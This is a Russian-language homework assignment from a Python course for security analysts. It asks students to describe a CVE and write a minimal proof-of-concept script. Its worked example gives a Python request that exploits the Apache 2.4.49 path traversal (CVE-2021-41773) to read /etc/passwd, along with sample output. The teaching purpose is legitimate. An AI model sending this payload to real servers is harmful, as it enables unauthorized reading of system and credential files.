

Домашнее задание

Дисциплина: Программирование на Python

Тема: Python для аналитиков ИБ: эксплойты

Форма проверки: самопроверка

Имя преподавателя: Дарья Погудина

Время выполнения: 80 минут

Цель задания:

- Закрепить навыки анализа уязвимостей и понять принцип работы эксплойтов.
- Научиться находить и описывать CVE-уязвимости, а также писать простой РоC-скрипт, демонстрирующий потенциальное поведение эксплойта без нанесения вреда системе.

Инструменты для выполнения ДЗ:

IDE PyCharm или VSCode, репозиторий на [GitHub](#)

Правила приёма работы:

1. Выполните все пункты задания.
2. Разместите готовый код и описание уязвимости в репозитории на GitHub.
3. В личном кабинете, в поле ответа к домашней работе, вставьте ссылку на GitHub с выполненным заданием. Отправьте работу на проверку. Важно: убедитесь, что по ссылке есть доступ.

Критерии оценки:

Задание считается выполненным:

- прикреплена ссылка на репозиторий с выполненным заданием,
- доступ к репозиторию открыт,
- коды выдают правильные ответы к задачам.

Задание считается невыполненным:

- ссылка на репозиторий с заданием не прикреплена или закрыт доступ по ссылке,
- коды выдают ошибку или неправильные ответы.

Дедлайн: 7 дней после соответствующего вебинара.

Задание

Найдите описание **CVE-уязвимости** (common vulnerabilities and exposures) и напишите минимальный **РоС-скрипт** (proof of concept), который эмулирует использование уязвимости (можно без её активации).

В скрипте достаточно имитировать взаимодействие, например, формирование запроса к условной уязвимой точке, и выводить сообщение о потенциальной атаке.

Пример выполнения задания

Описание уязвимости:

CVE-2021-41773 — уязвимость обхода пути (Path Traversal) в Apache HTTP Server 2.4.49, позволяющая атакующему читать произвольные файлы на сервере.

Минимальный РоС-скрипт (пример):

```
import requests

url = "http://example.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
response = requests.get(url)

if response.status_code == 200:
    print("[+] Потенциальная уязвимость обнаружена. Ответ сервера:")
    print(response.text[:200]) # Выводим первые 200 символов
else:
    print("[-] Уязвимость не подтверждена. Код ответа:", response.status_code)
```

Результат выполнения:

```
[+] Потенциальная уязвимость обнаружена. Ответ сервера:
root:x:0:0:root:/bin/bash
```

Чек-лист самопроверки

Критерии выполнения задания
Уязвимость описана корректно: указан CVE, краткое описание
Написан РоС-скрипт, эмулирующий использование уязвимости (имитация

Критерии выполнения задания
запроса или взаимодействия)
Добавлен вывод результата или сообщение о потенциальной атаке
На учебной платформе прикреплена ссылка на GitHub-репозиторий с кодом
Репозиторий по ссылке доступен для просмотра другим пользователям, название репозитория содержит фамилию и имя студента, номер домашнего задания